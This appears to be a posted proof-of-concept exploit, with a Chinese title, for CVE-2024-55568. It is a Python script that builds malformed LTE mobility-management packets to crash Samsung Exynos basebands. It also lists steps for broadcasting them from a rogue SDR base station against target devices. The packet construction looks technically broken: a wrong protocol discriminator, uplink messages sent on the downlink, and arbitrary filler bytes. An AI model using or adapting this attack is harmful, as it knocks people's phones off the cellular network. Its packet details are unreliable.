CVE-2024-55568：三星Exynos处理器MM协议空指针解引用拒绝服务漏洞

# CVE-2024-55568 PoC - Samsung Exynos MM Packet NULL Pointer Dereference DoS # This PoC demonstrates the concept of triggering NULL pointer dereference # by sending malformed MM (Mobility Management) packets to vulnerable # Samsung Exynos baseband processors. import struct import socket # 3GPP MM Protocol - Mobility Management message types MM_MESSAGE_TYPES = { 'ATTACH_REQUEST': 0x01, 'ATTACH_ACCEPT': 0x02, 'ATTACH_COMPLETE': 0x03, 'TRACKING_AREA_UPDATE_REQUEST': 0x48, 'TRACKING_AREA_UPDATE_ACCEPT': 0x49, 'IDENTITY_REQUEST': 0x55, 'IDENTITY_RESPONSE': 0x56, 'AUTHENTICATION_REQUEST': 0x52, 'AUTHENTICATION_RESPONSE': 0x53, } def craft_malformed_mm_packet(): """ Craft a malformed MM packet that triggers NULL pointer dereference in vulnerable Samsung Exynos baseband processors. The vulnerability exists due to missing NULL check when parsing certain MM message fields. By sending a packet with specific malformed IE (Information Element), we can trigger the bug. """ packet = bytearray() # Protocol Discriminator: EPS Mobility Management (0x7E) packet.append(0x7E) # Security header type: Plain MM message (0x00) packet.append(0x00) # Message type: ATTACH_REQUEST (0x01) packet.append(MM_MESSAGE_TYPES['ATTACH_REQUEST']) # Malformed EPS mobile identity - triggers NULL pointer path # Type of identity: IMSI (0x01), odd/even indicator set abnormally packet.append(0x01) # Corrupted length field causing buffer underflow packet.append(0xFF) # Fill with payload that leads to NULL dereference for i in range(32): packet.append(0x00) return bytes(packet) def craft_tau_malformed_packet(): """ Alternative: Malformed Tracking Area Update Request packet targeting the NULL pointer dereference vulnerability. """ packet = bytearray() # Protocol Discriminator: EPS Mobility Management (0x7E) packet.append(0x7E) # Security header type packet.append(0x00) # Message type: TRACKING_AREA_UPDATE_REQUEST (0x48) packet.append(MM_MESSAGE_TYPES['TRACKING_AREA_UPDATE_REQUEST']) # EPS update type: TA updating with active flag packet.append(0x00) # NAS key set identifier packet.append(0x00) # Old GUTI - malformed to trigger NULL path packet.append(0xF0) packet.append(0x00) packet.append(0x00) packet.append(0x00) packet.append(0x00) return bytes(packet) def send_via_fake_bs(): """ Simulate sending the malformed packet via a rogue/fake base station. In real scenario, this would require SDR (Software Defined Radio) equipment like USRP or bladeRF to transmit on cellular frequencies. """ payload = craft_malformed_mm_packet() print(f"[*] Crafted malformed MM packet ({len(payload)} bytes)") print(f"[*] Hex: {payload.hex()}") print("[!] Target: Samsung Exynos baseband processor") print("[!] Effect: NULL pointer dereference -> baseband crash -> DoS") # Note: Actual transmission requires SDR hardware # Example with srsRAN or OpenBTS: # ./srsenb --config-file enb.conf # Rogue eNodeB # Then transmit the crafted MM packet on the downlink return payload if __name__ == "__main__": print("=" * 60) print("CVE-2024-55568 PoC") print("Samsung Exynos MM Packet NULL Pointer Dereference DoS") print("=" * 60) # Generate exploit packet packet = send_via_fake_bs() print("\n[*] PoC packet generated successfully") print("[*] To exploit in real environment:") print(" 1. Set up rogue base station using SDR (e.g., USRP)") print(" 2. Broadcast the malformed MM packet") print(" 3. Target device's baseband will crash (DoS)")